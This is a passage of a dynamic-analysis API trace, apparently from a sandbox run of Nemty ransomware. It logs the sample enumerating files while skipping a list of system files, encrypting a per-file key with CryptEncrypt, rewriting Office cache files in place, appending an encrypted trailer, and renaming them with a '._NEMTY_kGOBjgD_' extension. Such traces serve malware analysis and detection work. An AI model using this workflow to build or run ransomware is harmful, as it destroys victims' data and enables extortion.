(lpString1="OfficeMUI.xml", lpString2="programdata") returned -1 [0048.748] lstrcmpiW (lpString1="OfficeMUI.xml", lpString2="appdata") returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.xml", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUI.xml", lpUsedDefaultChar=0x0) returned 13 [0048.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.xml", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUI.xml", lpUsedDefaultChar=0x0) returned 13 [0048.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.xml", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUI.xml", lpUsedDefaultChar=0x0) returned 13 [0048.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUI.xml", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUI.xml", lpUsedDefaultChar=0x0) returned 13 [0048.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.749] Sleep (dwMilliseconds=0x5) [0048.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0c49730, dwHighDateTime=0x1d561e7)) [0048.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0c49730, dwHighDateTime=0x1d561e7)) [0048.764] GetLastError () returned 0x0 [0048.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.764] GetLastError () returned 0x0 [0048.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.764] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.764] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.764] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.764] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="w19bO3VQeBV0+rauxDXGlKapaxXIR1Gk9GDqFQGLdIYJ8ai/ev5j2cZ+X+0ZUJS/\r\njs0bGHpSWtNAJY/kyu71JA3A35GDX7xezHfnH+5WVGa71KJJcqPnwl2HCBgWcno3\r\nzygEwaxC3Bho+bxAznUaXhpWd+4AgUV/03VWfFTtdffNJSGEbANr0PbHqEhc8rzV\r\ngT6+fN+XkRHHFctJS232ZJOAZQa0TX7dXQvoAkuqO1OleRWciDM1joapdmu+78TE\r\ntuFMo/VJi0g/Pt6+wAT6+obaUEJ9WDo7vUwz0QBtBjmL0ufEgwsWI/npuvX3PjrC\r\npGJ5zLRcxy15MJTFJXJAQw==\r\n", pcchString=0x653ef9c) returned 1 [0048.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.764] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.765] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=5557) returned 1 [0048.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x15b0) returned 0x6346d48 [0048.765] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.765] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x15b0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x15b0, lpOverlapped=0x0) returned 1 [0048.767] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.767] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x15b0, lpOverlapped=0x0) returned 1 [0048.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.767] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5557, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15b5 [0048.767] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.767] CloseHandle (hObject=0x3c8) returned 1 [0048.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0048.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0048.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.768] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml._nemty_kgobjgd_")) returned 1 [0048.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.769] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0048.769] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2=".") returned 1 [0048.769] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="..") returned 1 [0048.769] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="...") returned 1 [0048.769] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="windows") returned -1 [0048.769] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="$RECYCLE.BIN") returned 1 [0048.769] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="rsa") returned -1 [0048.769] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="NTDETECT.COM") returned 1 [0048.769] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="ntldr") returned 1 [0048.770] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="MSDOS.SYS") returned 1 [0048.770] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="IO.SYS") returned 1 [0048.770] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="boot.ini") returned 1 [0048.770] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="boot.ini") returned 1 [0048.770] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="AUTOEXEC.BAT") returned 1 [0048.770] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="ntuser.dat") returned 1 [0048.770] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="desktop.ini") returned 1 [0048.770] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="CONFIG.SYS") returned 1 [0048.770] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="RECYCLER") returned -1 [0048.770] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="BOOTSECT.BAK") returned 1 [0048.770] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="bootmgr") returned 1 [0048.770] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="programdata") returned -1 [0048.770] lstrcmpiW (lpString1="OfficeMUISet.msi", lpString2="appdata") returned 1 [0048.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.msi", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0048.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.msi", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUISet.msi", lpUsedDefaultChar=0x0) returned 16 [0048.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0048.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.msi", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0048.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.msi", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUISet.msi", lpUsedDefaultChar=0x0) returned 16 [0048.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0048.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.msi", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0048.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.msi", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUISet.msi", lpUsedDefaultChar=0x0) returned 16 [0048.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.msi", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0048.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OfficeMUISet.msi", cchWideChar=16, lpMultiByteStr=0x4f9ed80, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeMUISet.msi", lpUsedDefaultChar=0x0) returned 16 [0048.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.771] Sleep (dwMilliseconds=0x5) [0048.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0c6f890, dwHighDateTime=0x1d561e7)) [0048.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0c6f890, dwHighDateTime=0x1d561e7)) [0048.779] GetLastError () returned 0x0 [0048.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.779] GetLastError () returned 0x0 [0048.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0048.779] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.779] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.780] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.780] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="DF3mQuuABNBhJqMQKuMdfd5cSTJQNatiH1LY1c7TJyB07gb0dxwDQwMuaa6LB2fk\r\ns36jM1tmcitudYY9c/UmXe+UI7gQSKO5FWAezDwU2e6yWUrF7uFzIO+arGADpfvn\r\nOfZEeNlDy1FjOMPABoHRwkd5f+1ImXkNu2baMWamop5mOcr0MGdWez/Vx6046XdF\r\nS/ahAJvd2/UUaZgcSjQAGB7ucfpmVWRRkhWwbbOkpBxRJkWi0XdQHLg3t5cY6BeB\r\nN1XwIJw6L8THjnsJWPYc31l1YI8wv9H5b34/hqowkGyiNkWFQxBG1KwQGzetXSyf\r\nWsdvOImhnGa7fFBcYXV8nw==\r\n", pcchString=0x653ef9c) returned 1 [0048.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0048.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.780] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.780] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=868864) returned 1 [0048.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0048.780] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.780] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0048.790] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.790] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0048.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.791] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=868864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4200 [0048.791] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.792] CloseHandle (hObject=0x3c8) returned 1 [0048.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0048.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0048.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0048.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942e8 [0048.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0048.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0048.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0048.804] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi._nemty_kgobjgd_")) returned 1 [0048.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.805] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: 